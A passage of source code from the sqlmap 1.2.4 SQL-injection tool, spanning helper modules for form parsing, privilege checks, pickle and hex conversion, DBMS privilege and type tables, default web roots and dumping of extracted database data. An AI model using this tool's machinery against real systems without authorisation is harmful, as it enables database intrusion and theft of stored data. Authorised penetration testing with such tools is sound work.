kb.data.has_information_schema and "super_priv" in privileges) # In Firebird there is no specific privilege that means # that the user is DBA retVal |= (Backend.isDbms(DBMS.FIREBIRD) and all(_ in privileges for _ in ("SELECT", "INSERT", "UPDATE", "DELETE", "REFERENCES", "EXECUTE"))) return retVal def findPageForms(content, url, raise_=False, addToTargets=False): """ Parses given page content for possible forms >>> findPageForms('
', '') set([(u'/input.php', 'POST', u'id=1', None, None)]) """ class _(StringIO): def __init__(self, content, url): StringIO.__init__(self, unicodeencode(content, kb.pageEncoding) if isinstance(content, unicode) else content) self._url = url def geturl(self): return self._url if not content: errMsg = "can't parse forms as the page content appears to be blank" if raise_: raise SqlmapGenericException(errMsg) else: logger.debug(errMsg) forms = None retVal = set() response = _(content, url) try: forms = ParseResponse(response, backwards_compat=False) except ParseError: if re.search(r"(?i)>> checkSameHost('http://www.target.com/page1.php?id=1', 'http://www.target.com/images/page2.php') True >>> checkSameHost('http://www.target.com/page1.php?id=1', 'http://www.target2.com/images/page2.php') False """ if not urls: return None elif len(urls) == 1: return True else: return all(re.sub(r"(?i)\Awww\.", "", urlparse.urlparse(url or "").netloc.split(':')[0]) == re.sub(r"(?i)\Awww\.", "", urlparse.urlparse(urls[0] or "").netloc.split(':')[0]) for url in urls[1:]) def getHostHeader(url): """ Returns proper Host header value for a given target URL >>> getHostHeader('http://www.target.com/vuln.php?id=1') 'www.target.com' """ retVal = url if url: retVal = urlparse.urlparse(url).netloc if re.search(r"http(s)?://\[.+\]", url, re.I): retVal = extractRegexResult("http(s)?://\[(?P.+)\]", url) elif any(retVal.endswith(':%d' % _) for _ in (80, 443)): retVal = retVal.split(':')[0] return retVal def checkDeprecatedOptions(args): """ Checks for deprecated options """ for _ in args: if _ in DEPRECATED_OPTIONS: errMsg = "switch/option '%s' is deprecated" % _ if DEPRECATED_OPTIONS[_]: errMsg += " (hint: %s)" % DEPRECATED_OPTIONS[_] raise SqlmapSyntaxException(errMsg) def checkSystemEncoding(): """ Checks for problematic encodings """ if sys.getdefaultencoding() == "cp720": try: codecs.lookup("cp720") except LookupError: errMsg = "there is a known Python issue (#1616979) related " errMsg += "to support for charset 'cp720'. Please visit " errMsg += "'http://blog.oneortheother.info/tip/python-fix-cp720-encoding/index.html' " errMsg += "and follow the instructions to be able to fix it" logger.critical(errMsg) warnMsg = "temporary switching to charset 'cp1256'" logger.warn(warnMsg) reload(sys) sys.setdefaultencoding("cp1256") def evaluateCode(code, variables=None): """ Executes given python code given in a string form """ try: exec(code, variables) except KeyboardInterrupt: raise except Exception, ex: errMsg = "an error occurred while evaluating provided code ('%s') " % getSafeExString(ex) raise SqlmapGenericException(errMsg) def serializeObject(object_): """ Serializes given object >>> serializeObject([1, 2, 3, ('a', 'b')]) 'gAJdcQEoSwFLAksDVQFhVQFihnECZS4=' >>> serializeObject(None) 'gAJOLg==' >>> serializeObject('foobar') 'gAJVBmZvb2JhcnEBLg==' """ return base64pickle(object_) def unserializeObject(value): """ Unserializes object from given serialized form >>> unserializeObject(serializeObject([1, 2, 3])) == [1, 2, 3] True >>> unserializeObject('gAJVBmZvb2JhcnEBLg==') 'foobar' """ return base64unpickle(value) if value else None def resetCounter(technique): """ Resets query counter for a given technique """ kb.counters[technique] = 0 def incrementCounter(technique): """ Increments query counter for a given technique """ kb.counters[technique] = getCounter(technique) + 1 def getCounter(technique): """ Returns query counter for a given technique """ return kb.counters.get(technique, 0) def applyFunctionRecursively(value, function): """ Applies function recursively through list-like structures >>> applyFunctionRecursively([1, 2, [3, 4, [19]], -9], lambda _: _ > 0) [True, True, [True, True, [True]], False] """ if isListLike(value): retVal = [applyFunctionRecursively(_, function) for _ in value] else: retVal = function(value) return retVal def decodeHexValue(value, raw=False): """ Returns value decoded from DBMS specific hexadecimal representation >>> decodeHexValue('3132332031') u'123 1' >>> decodeHexValue(['0x31', '0x32']) [u'1', u'2'] """ retVal = value def _(value): retVal = value if value and isinstance(value, basestring): if len(value) % 2 != 0: retVal = "%s?" % hexdecode(value[:-1]) if len(value) > 1 else value singleTimeWarnMessage("there was a problem decoding value '%s' from expected hexadecimal form" % value) else: retVal = hexdecode(value) if not kb.binaryField and not raw: if Backend.isDbms(DBMS.MSSQL) and value.startswith("0x"): try: retVal = retVal.decode("utf-16-le") except UnicodeDecodeError: pass elif Backend.isDbms(DBMS.HSQLDB): try: retVal = retVal.decode("utf-16-be") except UnicodeDecodeError: pass if not isinstance(retVal, unicode): retVal = getUnicode(retVal, conf.encoding or "utf8") return retVal try: retVal = applyFunctionRecursively(value, _) except: singleTimeWarnMessage("there was a problem decoding value '%s' from expected hexadecimal form" % value) return retVal def extractExpectedValue(value, expected): """ Extracts and returns expected value by a given type >>> extractExpectedValue(['1'], EXPECTED.BOOL) True >>> extractExpectedValue('1', EXPECTED.INT) 1 """ if expected: value = unArrayizeValue(value) if isNoneValue(value): value = None elif expected == EXPECTED.BOOL: if isinstance(value, int): value = bool(value) elif isinstance(value, basestring): value = value.strip().lower() if value in ("true", "false"): value = value == "true" elif value in ("1", "-1"): value = True elif value == "0": value = False else: value = None elif expected == EXPECTED.INT: if isinstance(value, basestring): value = int(value) if value.isdigit() else None return value def hashDBWrite(key, value, serialize=False): """ Helper function for writing session data to HashDB """ _ = "%s%s%s" % (conf.url or "%s%s" % (conf.hostname, conf.port), key, HASHDB_MILESTONE_VALUE) conf.hashDB.write(_, value, serialize) def hashDBRetrieve(key, unserialize=False, checkConf=False): """ Helper function for restoring session data from HashDB """ _ = "%s%s%s" % (conf.url or "%s%s" % (conf.hostname, conf.port), key, HASHDB_MILESTONE_VALUE) retVal = conf.hashDB.retrieve(_, unserialize) if kb.resumeValues and not (checkConf and any((conf.flushSession, conf.freshQueries))) else None if not kb.inferenceMode and not kb.fileReadMode and isinstance(retVal, basestring) and any(_ in retVal for _ in (PARTIAL_VALUE_MARKER, PARTIAL_HEX_VALUE_MARKER)): retVal = None return retVal def resetCookieJar(cookieJar): """ Cleans cookies from a given cookie jar """ if not conf.loadCookies: cookieJar.clear() else: try: if not cookieJar.filename: infoMsg = "loading cookies from '%s'" % conf.loadCookies logger.info(infoMsg) content = readCachedFileContent(conf.loadCookies) lines = filter(None, (line.strip() for line in content.split("\n") if not line.startswith('#'))) handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.COOKIE_JAR) os.close(handle) # Reference: http://www.hashbangcode.com/blog/netscape-http-cooke-file-parser-php-584.html with openFile(filename, "w+b") as f: f.write("%s\n" % NETSCAPE_FORMAT_HEADER_COOKIES) for line in lines: _ = line.split("\t") if len(_) == 7: _[4] = FORCE_COOKIE_EXPIRATION_TIME f.write("\n%s" % "\t".join(_)) cookieJar.filename = filename cookieJar.load(cookieJar.filename, ignore_expires=True) for cookie in cookieJar: if cookie.expires < time.time(): warnMsg = "cookie '%s' has expired" % cookie singleTimeWarnMessage(warnMsg) cookieJar.clear_expired_cookies() if not cookieJar._cookies: errMsg = "no valid cookies found" raise SqlmapGenericException(errMsg) except cookielib.LoadError, msg: errMsg = "there was a problem loading " errMsg += "cookies file ('%s')" % re.sub(r"(cookies) file '[^']+'", "\g<1>", str(msg)) raise SqlmapGenericException(errMsg) def decloakToTemp(filename): """ Decloaks content of a given file to a temporary file with similar name and extension """ content = decloak(filename) _ = utf8encode(os.path.split(filename[:-1])[-1]) prefix, suffix = os.path.splitext(_) prefix = prefix.split(os.extsep)[0] handle, filename = tempfile.mkstemp(prefix=prefix, suffix=suffix) os.close(handle) with open(filename, "w+b") as f: f.write(content) return filename def prioritySortColumns(columns): """ Sorts given column names by length in ascending order while those containing string 'id' go first >>> prioritySortColumns(['password', 'userid', 'name']) ['userid', 'name', 'password'] """ def _(column): return column and "id" in column.lower() return sorted(sorted(columns, key=len), lambda x, y: -1 if _(x) and not _(y) else 1 if not _(x) and _(y) else 0) def getRequestHeader(request, name): """ Solving an issue with an urllib2 Request header case sensitivity Reference: http://bugs.python.org/issue2275 """ retVal = None if request and name: _ = name.upper() retVal = max(value if _ == key.upper() else None for key, value in request.header_items()) return retVal def isNumber(value): """ Returns True if the given value is a number-like object >>> isNumber(1) True >>> isNumber('0') True >>> isNumber('foobar') False """ try: float(value) except: return False else: return True def zeroDepthSearch(expression, value): """ Searches occurrences of value inside expression at 0-depth level regarding the parentheses """ retVal = [] depth = 0 for index in xrange(len(expression)): if expression[index] == '(': depth += 1 elif expression[index] == ')': depth -= 1 elif depth == 0 and expression[index:index + len(value)] == value: retVal.append(index) return retVal def splitFields(fields, delimiter=','): """ Returns list of (0-depth) fields splitted by delimiter >>> splitFields('foo, bar, max(foo, bar)') ['foo', 'bar', 'max(foo,bar)'] """ fields = fields.replace("%s " % delimiter, delimiter) commas = [-1, len(fields)] commas.extend(zeroDepthSearch(fields, ',')) commas = sorted(commas) return [fields[x + 1:y] for (x, y) in zip(commas, commas[1:])] def pollProcess(process, suppress_errors=False): """ Checks for process status (prints . if still running) """ while True: dataToStdout(".") time.sleep(1) returncode = process.poll() if returncode is not None: if not suppress_errors: if returncode == 0: dataToStdout(" done\n") elif returncode < 0: dataToStdout(" process terminated by signal %d\n" % returncode) elif returncode > 0: dataToStdout(" quit unexpectedly with return code %d\n" % returncode) break def getSafeExString(ex, encoding=None): """ Safe way how to get the proper exception represtation as a string (Note: errors to be avoided: 1) "%s" % Exception(u'\u0161') and 2) "%s" % str(Exception(u'\u0161')) >>> getSafeExString(Exception('foobar')) u'foobar' """ retVal = ex if getattr(ex, "message", None): retVal = ex.message elif getattr(ex, "msg", None): retVal = ex.msg return getUnicode(retVal or "", encoding=encoding).strip() def safeVariableNaming(value): return re.sub(r"[^\w]", lambda match: "%s%02x" % (SAFE_VARIABLE_MARKER, ord(match.group(0))), value) def unsafeVariableNaming(value): return re.sub(r"%s([0-9a-f]{2})" % SAFE_VARIABLE_MARKER, lambda match: match.group(1).decode("hex"), value) sqlmap-1.2.4/lib/core/convert.py000066400000000000000000000130121326012263700165420ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ try: import cPickle as pickle except: import pickle finally: import pickle as picklePy import base64 import json import re import StringIO import sys from lib.core.settings import IS_WIN from lib.core.settings import UNICODE_ENCODING from lib.core.settings import PICKLE_REDUCE_WHITELIST def base64decode(value): """ Decodes string value from Base64 to plain format >>> base64decode('Zm9vYmFy') 'foobar' """ return base64.b64decode(value) def base64encode(value): """ Encodes string value from plain to Base64 format >>> base64encode('foobar') 'Zm9vYmFy' """ return base64.b64encode(value) def base64pickle(value): """ Serializes (with pickle) and encodes to Base64 format supplied (binary) value >>> base64pickle('foobar') 'gAJVBmZvb2JhcnEBLg==' """ retVal = None try: retVal = base64encode(pickle.dumps(value, pickle.HIGHEST_PROTOCOL)) except: warnMsg = "problem occurred while serializing " warnMsg += "instance of a type '%s'" % type(value) singleTimeWarnMessage(warnMsg) try: retVal = base64encode(pickle.dumps(value)) except: retVal = base64encode(pickle.dumps(str(value), pickle.HIGHEST_PROTOCOL)) return retVal def base64unpickle(value, unsafe=False): """ Decodes value from Base64 to plain format and deserializes (with pickle) its content >>> base64unpickle('gAJVBmZvb2JhcnEBLg==') 'foobar' """ retVal = None def _(self): if len(self.stack) > 1: func = self.stack[-2] if func not in PICKLE_REDUCE_WHITELIST: raise Exception("abusing reduce() is bad, Mkay!") self.load_reduce() def loads(str): f = StringIO.StringIO(str) if unsafe: unpickler = picklePy.Unpickler(f) unpickler.dispatch[picklePy.REDUCE] = _ else: unpickler = pickle.Unpickler(f) return unpickler.load() try: retVal = loads(base64decode(value)) except TypeError: retVal = loads(base64decode(bytes(value))) return retVal def hexdecode(value): """ Decodes string value from hex to plain format >>> hexdecode('666f6f626172') 'foobar' """ value = value.lower() return (value[2:] if value.startswith("0x") else value).decode("hex") def hexencode(value, encoding=None): """ Encodes string value from plain to hex format >>> hexencode('foobar') '666f6f626172' """ return unicodeencode(value, encoding).encode("hex") def unicodeencode(value, encoding=None): """ Returns 8-bit string representation of the supplied unicode value >>> unicodeencode(u'foobar') 'foobar' """ retVal = value if isinstance(value, unicode): try: retVal = value.encode(encoding or UNICODE_ENCODING) except UnicodeEncodeError: retVal = value.encode(UNICODE_ENCODING, "replace") return retVal def utf8encode(value): """ Returns 8-bit string representation of the supplied UTF-8 value >>> utf8encode(u'foobar') 'foobar' """ return unicodeencode(value, "utf-8") def utf8decode(value): """ Returns UTF-8 representation of the supplied 8-bit string representation >>> utf8decode('foobar') u'foobar' """ return value.decode("utf-8") def htmlunescape(value): """ Returns (basic conversion) HTML unescaped value >>> htmlunescape('a<b') 'a'), (""", '"'), (" ", ' '), ("&", '&'), ("'", "'")) retVal = reduce(lambda x, y: x.replace(y[0], y[1]), codes, retVal) try: retVal = re.sub(r"&#x([^ ;]+);", lambda match: unichr(int(match.group(1), 16)), retVal) except ValueError: pass return retVal def singleTimeWarnMessage(message): # Cross-referenced function sys.stdout.write(message) sys.stdout.write("\n") sys.stdout.flush() def stdoutencode(data): retVal = None try: data = data or "" # Reference: http://bugs.python.org/issue1602 if IS_WIN: output = data.encode(sys.stdout.encoding, "replace") if '?' in output and '?' not in data: warnMsg = "cannot properly display Unicode characters " warnMsg += "inside Windows OS command prompt " warnMsg += "(http://bugs.python.org/issue1602). All " warnMsg += "unhandled occurrences will result in " warnMsg += "replacement with '?' character. Please, find " warnMsg += "proper character representation inside " warnMsg += "corresponding output files. " singleTimeWarnMessage(warnMsg) retVal = output else: retVal = data.encode(sys.stdout.encoding) except: retVal = data.encode(UNICODE_ENCODING) if isinstance(data, unicode) else data return retVal def jsonize(data): """ Returns JSON serialized data >>> jsonize({'foo':'bar'}) '{\\n "foo": "bar"\\n}' """ return json.dumps(data, sort_keys=False, indent=4) def dejsonize(data): """ Returns JSON deserialized data >>> dejsonize('{\\n "foo": "bar"\\n}') {u'foo': u'bar'} """ return json.loads(data) sqlmap-1.2.4/lib/core/data.py000066400000000000000000000013271326012263700160010ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.datatype import AttribDict from lib.core.log import LOGGER # sqlmap paths paths = AttribDict() # object to store original command line options cmdLineOptions = AttribDict() # object to store merged options (command line, configuration file and default options) mergedOptions = AttribDict() # object to share within function and classes command # line options and settings conf = AttribDict() # object to share within function and classes results kb = AttribDict() # object with each database management system specific queries queries = {} # logger logger = LOGGER sqlmap-1.2.4/lib/core/datatype.py000066400000000000000000000056321326012263700167060ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import copy import types class AttribDict(dict): """ This class defines the sqlmap object, inheriting from Python data type dictionary. >>> foo = AttribDict() >>> foo.bar = 1 >>> foo.bar 1 """ def __init__(self, indict=None, attribute=None): if indict is None: indict = {} # Set any attributes here - before initialisation # these remain as normal attributes self.attribute = attribute dict.__init__(self, indict) self.__initialised = True # After initialisation, setting attributes # is the same as setting an item def __getattr__(self, item): """ Maps values to attributes Only called if there *is NOT* an attribute with this name """ try: return self.__getitem__(item) except KeyError: raise AttributeError("unable to access item '%s'" % item) def __setattr__(self, item, value): """ Maps attributes to values Only if we are initialised """ # This test allows attributes to be set in the __init__ method if "_AttribDict__initialised" not in self.__dict__: return dict.__setattr__(self, item, value) # Any normal attributes are handled normally elif item in self.__dict__: dict.__setattr__(self, item, value) else: self.__setitem__(item, value) def __getstate__(self): return self.__dict__ def __setstate__(self, dict): self.__dict__ = dict def __deepcopy__(self, memo): retVal = self.__class__() memo[id(self)] = retVal for attr in dir(self): if not attr.startswith('_'): value = getattr(self, attr) if not isinstance(value, (types.BuiltinFunctionType, types.FunctionType, types.MethodType)): setattr(retVal, attr, copy.deepcopy(value, memo)) for key, value in self.items(): retVal.__setitem__(key, copy.deepcopy(value, memo)) return retVal class InjectionDict(AttribDict): def __init__(self): AttribDict.__init__(self) self.place = None self.parameter = None self.ptype = None self.prefix = None self.suffix = None self.clause = None self.notes = [] # Note: https://github.com/sqlmapproject/sqlmap/issues/1888 # data is a dict with various stype, each which is a dict with # all the information specific for that stype self.data = AttribDict() # conf is a dict which stores current snapshot of important # options used during detection self.conf = AttribDict() self.dbms = None self.dbms_version = None self.os = None sqlmap-1.2.4/lib/core/decorators.py000066400000000000000000000010641326012263700172330ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import hashlib def cachedmethod(f, cache={}): """ Method with a cached content Reference: http://code.activestate.com/recipes/325205-cache-decorator-in-python-24/ """ def _(*args, **kwargs): key = int(hashlib.md5("".join(str(_) for _ in (f, args, kwargs))).hexdigest()[:8], 16) if key not in cache: cache[key] = f(*args, **kwargs) return cache[key] return _ sqlmap-1.2.4/lib/core/defaults.py000066400000000000000000000007641326012263700167030ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.datatype import AttribDict _defaults = { "csvDel": ',', "timeSec": 5, "googlePage": 1, "verbose": 1, "delay": 0, "timeout": 30, "retries": 3, "saFreq": 0, "threads": 1, "level": 1, "risk": 1, "dumpFormat": "CSV", "tech": "BEUSTQ", "torType": "SOCKS5", } defaults = AttribDict(_defaults) sqlmap-1.2.4/lib/core/dicts.py000066400000000000000000000172471326012263700162060ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.enums import DBMS from lib.core.enums import OS from lib.core.enums import POST_HINT from lib.core.settings import BLANK from lib.core.settings import NULL from lib.core.settings import MSSQL_ALIASES from lib.core.settings import MYSQL_ALIASES from lib.core.settings import PGSQL_ALIASES from lib.core.settings import ORACLE_ALIASES from lib.core.settings import SQLITE_ALIASES from lib.core.settings import ACCESS_ALIASES from lib.core.settings import FIREBIRD_ALIASES from lib.core.settings import MAXDB_ALIASES from lib.core.settings import SYBASE_ALIASES from lib.core.settings import DB2_ALIASES from lib.core.settings import HSQLDB_ALIASES from lib.core.settings import INFORMIX_ALIASES FIREBIRD_TYPES = { 261: "BLOB", 14: "CHAR", 40: "CSTRING", 11: "D_FLOAT", 27: "DOUBLE", 10: "FLOAT", 16: "INT64", 8: "INTEGER", 9: "QUAD", 7: "SMALLINT", 12: "DATE", 13: "TIME", 35: "TIMESTAMP", 37: "VARCHAR", } INFORMIX_TYPES = { 0: "CHAR", 1: "SMALLINT", 2: "INTEGER", 3: "FLOAT", 4: "SMALLFLOAT", 5: "DECIMAL", 6: "SERIAL", 7: "DATE", 8: "MONEY", 9: "NULL", 10: "DATETIME", 11: "BYTE", 12: "TEXT", 13: "VARCHAR", 14: "INTERVAL", 15: "NCHAR", 16: "NVARCHAR", 17: "INT8", 18: "SERIAL8", 19: "SET", 20: "MULTISET", 21: "LIST", 22: "ROW (unnamed)", 23: "COLLECTION", 40: "Variable-length opaque type", 41: "Fixed-length opaque type", 43: "LVARCHAR", 45: "BOOLEAN", 52: "BIGINT", 53: "BIGSERIAL", 2061: "IDSSECURITYLABEL", 4118: "ROW (named)", } SYBASE_TYPES = { 14: "floatn", 8: "float", 15: "datetimn", 12: "datetime", 23: "real", 28: "numericn", 10: "numeric", 27: "decimaln", 26: "decimal", 17: "moneyn", 11: "money", 21: "smallmoney", 22: "smalldatetime", 13: "intn", 7: "int", 6: "smallint", 5: "tinyint", 16: "bit", 2: "varchar", 18: "sysname", 25: "nvarchar", 1: "char", 24: "nchar", 4: "varbinary", 80: "timestamp", 3: "binary", 19: "text", 20: "image", } MYSQL_PRIVS = { 1: "select_priv", 2: "insert_priv", 3: "update_priv", 4: "delete_priv", 5: "create_priv", 6: "drop_priv", 7: "reload_priv", 8: "shutdown_priv", 9: "process_priv", 10: "file_priv", 11: "grant_priv", 12: "references_priv", 13: "index_priv", 14: "alter_priv", 15: "show_db_priv", 16: "super_priv", 17: "create_tmp_table_priv", 18: "lock_tables_priv", 19: "execute_priv", 20: "repl_slave_priv", 21: "repl_client_priv", 22: "create_view_priv", 23: "show_view_priv", 24: "create_routine_priv", 25: "alter_routine_priv", 26: "create_user_priv", } PGSQL_PRIVS = { 1: "createdb", 2: "super", 3: "catupd", } # Reference(s): http://stackoverflow.com/a/17672504 # http://docwiki.embarcadero.com/InterBase/XE7/en/RDB$USER_PRIVILEGES FIREBIRD_PRIVS = { "S": "SELECT", "I": "INSERT", "U": "UPDATE", "D": "DELETE", "R": "REFERENCE", "X": "EXECUTE", "A": "ALL", "M": "MEMBER", "T": "DECRYPT", "E": "ENCRYPT", "B": "SUBSCRIBE", } # Reference(s): https://www.ibm.com/support/knowledgecenter/SSGU8G_12.1.0/com.ibm.sqls.doc/ids_sqs_0147.htm # https://www.ibm.com/support/knowledgecenter/SSGU8G_11.70.0/com.ibm.sqlr.doc/ids_sqr_077.htm INFORMIX_PRIVS = { "D": "DBA (all privileges)", "R": "RESOURCE (create UDRs, UDTs, permanent tables and indexes)", "C": "CONNECT (work with existing tables)", "G": "ROLE", "U": "DEFAULT (implicit connection)", } DB2_PRIVS = { 1: "CONTROLAUTH", 2: "ALTERAUTH", 3: "DELETEAUTH", 4: "INDEXAUTH", 5: "INSERTAUTH", 6: "REFAUTH", 7: "SELECTAUTH", 8: "UPDATEAUTH", } DUMP_REPLACEMENTS = {" ": NULL, "": BLANK} DBMS_DICT = { DBMS.MSSQL: (MSSQL_ALIASES, "python-pymssql", "https://github.com/pymssql/pymssql", "mssql+pymssql"), DBMS.MYSQL: (MYSQL_ALIASES, "python-pymysql", "https://github.com/PyMySQL/PyMySQL", "mysql"), DBMS.PGSQL: (PGSQL_ALIASES, "python-psycopg2", "http://initd.org/psycopg/", "postgresql"), DBMS.ORACLE: (ORACLE_ALIASES, "python cx_Oracle", "https://oracle.github.io/python-cx_Oracle/", "oracle"), DBMS.SQLITE: (SQLITE_ALIASES, "python-sqlite", "https://docs.python.org/2/library/sqlite3.html", "sqlite"), DBMS.ACCESS: (ACCESS_ALIASES, "python-pyodbc", "https://github.com/mkleehammer/pyodbc", "access"), DBMS.FIREBIRD: (FIREBIRD_ALIASES, "python-kinterbasdb", "http://kinterbasdb.sourceforge.net/", "firebird"), DBMS.MAXDB: (MAXDB_ALIASES, None, None, "maxdb"), DBMS.SYBASE: (SYBASE_ALIASES, "python-pymssql", "https://github.com/pymssql/pymssql", "sybase"), DBMS.DB2: (DB2_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"), DBMS.HSQLDB: (HSQLDB_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/", None), DBMS.INFORMIX: (INFORMIX_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"), } FROM_DUMMY_TABLE = { DBMS.ORACLE: " FROM DUAL", DBMS.ACCESS: " FROM MSysAccessObjects", DBMS.FIREBIRD: " FROM RDB$DATABASE", DBMS.MAXDB: " FROM VERSIONS", DBMS.DB2: " FROM SYSIBM.SYSDUMMY1", DBMS.HSQLDB: " FROM INFORMATION_SCHEMA.SYSTEM_USERS", DBMS.INFORMIX: " FROM SYSMASTER:SYSDUAL" } SQL_STATEMENTS = { "SQL SELECT statement": ( "select ", "show ", " top ", " distinct ", " from ", " from dual", " where ", " group by ", " order by ", " having ", " limit ", " offset ", " union all ", " rownum as ", "(case ", ), "SQL data definition": ( "create ", "declare ", "drop ", "truncate ", "alter ", ), "SQL data manipulation": ( "bulk ", "insert ", "update ", "delete ", "merge ", "load ", ), "SQL data control": ( "grant ", "revoke ", ), "SQL data execution": ( "exec ", "execute ", "values ", "call ", ), "SQL transaction": ( "start transaction ", "begin work ", "begin transaction ", "commit ", "rollback ", ), } POST_HINT_CONTENT_TYPES = { POST_HINT.JSON: "application/json", POST_HINT.JSON_LIKE: "application/json", POST_HINT.MULTIPART: "multipart/form-data", POST_HINT.SOAP: "application/soap+xml", POST_HINT.XML: "application/xml", POST_HINT.ARRAY_LIKE: "application/x-www-form-urlencoded; charset=utf-8", } DEPRECATED_OPTIONS = { "--replicate": "use '--dump-format=SQLITE' instead", "--no-unescape": "use '--no-escape' instead", "--binary": "use '--binary-fields' instead", "--auth-private": "use '--auth-file' instead", "--ignore-401": "use '--ignore-code' instead", "--check-payload": None, "--check-waf": None, "--pickled-options": "use '--api -c ...' instead", } DUMP_DATA_PREPROCESS = { DBMS.ORACLE: {"XMLTYPE": "(%s).getStringVal()"}, # Reference: https://www.tibcommunity.com/docs/DOC-3643 DBMS.MSSQL: {"IMAGE": "CONVERT(VARBINARY(MAX),%s)"}, } DEFAULT_DOC_ROOTS = { OS.WINDOWS: ("C:/xampp/htdocs/", "C:/wamp/www/", "C:/Inetpub/wwwroot/"), OS.LINUX: ("/var/www/", "/var/www/html", "/usr/local/apache2/htdocs", "/var/www/nginx-default", "/srv/www") # Reference: https://wiki.apache.org/httpd/DistrosDefaultLayout } sqlmap-1.2.4/lib/core/dump.py000066400000000000000000000665521326012263700160500ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import cgi import hashlib import os import re import shutil import tempfile import threading from lib.core.common import Backend from lib.core.common import checkFile from lib.core.common import dataToDumpFile from lib.core.common import dataToStdout from lib.core.common import getSafeExString from lib.core.common import getUnicode from lib.core.common import isListLike from lib.core.common import normalizeUnicode from lib.core.common import openFile from lib.core.common import prioritySortColumns from lib.core.common import randomInt from lib.core.common import safeCSValue from lib.core.common import unicodeencode from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.dicts import DUMP_REPLACEMENTS from lib.core.enums import CONTENT_STATUS from lib.core.enums import CONTENT_TYPE from lib.core.enums import DBMS from lib.core.enums import DUMP_FORMAT from lib.core.exception import SqlmapGenericException from lib.core.exception import SqlmapValueException from lib.core.exception import SqlmapSystemException from lib.core.replication import Replication from lib.core.settings import DUMP_FILE_BUFFER_SIZE from lib.core.settings import HTML_DUMP_CSS_STYLE from lib.core.settings import IS_WIN from lib.core.settings import METADB_SUFFIX from lib.core.settings import MIN_BINARY_DISK_DUMP_SIZE from lib.core.settings import TRIM_STDOUT_DUMP_SIZE from lib.core.settings import UNICODE_ENCODING from lib.core.settings import UNSAFE_DUMP_FILEPATH_REPLACEMENT from lib.core.settings import WINDOWS_RESERVED_NAMES from thirdparty.magic import magic from extra.safe2bin.safe2bin import safechardecode class Dump(object): """ This class defines methods used to parse and output the results of SQL injection actions """ def __init__(self): self._outputFile = None self._outputFP = None self._lock = threading.Lock() def _write(self, data, newline=True, console=True, content_type=None): if conf.api: dataToStdout(data, content_type=content_type, status=CONTENT_STATUS.COMPLETE) return text = "%s%s" % (data, "\n" if newline else " ") if console: dataToStdout(text) if kb.get("multiThreadMode"): self._lock.acquire() try: self._outputFP.write(text) except IOError, ex: errMsg = "error occurred while writing to log file ('%s')" % getSafeExString(ex) raise SqlmapGenericException(errMsg) if kb.get("multiThreadMode"): self._lock.release() kb.dataOutputFlag = True def flush(self): if self._outputFP: try: self._outputFP.flush() except IOError: pass def setOutputFile(self): self._outputFile = os.path.join(conf.outputPath, "log") try: self._outputFP = openFile(self._outputFile, "ab" if not conf.flushSession else "wb") except IOError, ex: errMsg = "error occurred while opening log file ('%s')" % getSafeExString(ex) raise SqlmapGenericException(errMsg) def getOutputFile(self): return self._outputFile def singleString(self, data, content_type=None): self._write(data, content_type=content_type) def string(self, header, data, content_type=None, sort=True): kb.stickyLevel = None if conf.api: self._write(data, content_type=content_type) return if isListLike(data): self.lister(header, data, content_type, sort) elif data is not None: _ = getUnicode(data) if _.endswith("\r\n"): _ = _[:-2] elif _.endswith("\n"): _ = _[:-1] if _.strip(' '): _ = _.strip(' ') if "\n" in _: self._write("%s:\n---\n%s\n---" % (header, _)) else: self._write("%s: %s" % (header, ("'%s'" % _) if isinstance(data, basestring) else _)) else: self._write("%s:\tNone" % header) def lister(self, header, elements, content_type=None, sort=True): if elements and sort: try: elements = set(elements) elements = list(elements) elements.sort(key=lambda _: _.lower() if isinstance(_, basestring) else _) except: pass if conf.api: self._write(elements, content_type=content_type) return if elements: self._write("%s [%d]:" % (header, len(elements))) for element in elements: if isinstance(element, basestring): self._write("[*] %s" % element) elif isListLike(element): self._write("[*] " + ", ".join(getUnicode(e) for e in element)) if elements: self._write("") def banner(self, data): self.string("banner", data, content_type=CONTENT_TYPE.BANNER) def currentUser(self, data): self.string("current user", data, content_type=CONTENT_TYPE.CURRENT_USER) def currentDb(self, data): if Backend.isDbms(DBMS.MAXDB): self.string("current database (no practical usage on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB): self.string("current schema (equivalent to database on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) else: self.string("current database", data, content_type=CONTENT_TYPE.CURRENT_DB) def hostname(self, data): self.string("hostname", data, content_type=CONTENT_TYPE.HOSTNAME) def dba(self, data): self.string("current user is DBA", data, content_type=CONTENT_TYPE.IS_DBA) def users(self, users): self.lister("database management system users", users, content_type=CONTENT_TYPE.USERS) def userSettings(self, header, userSettings, subHeader, content_type=None): self._areAdmins = set() if isinstance(userSettings, (tuple, list, set)): self._areAdmins = userSettings[1] userSettings = userSettings[0] users = userSettings.keys() users.sort(key=lambda _: _.lower() if isinstance(_, 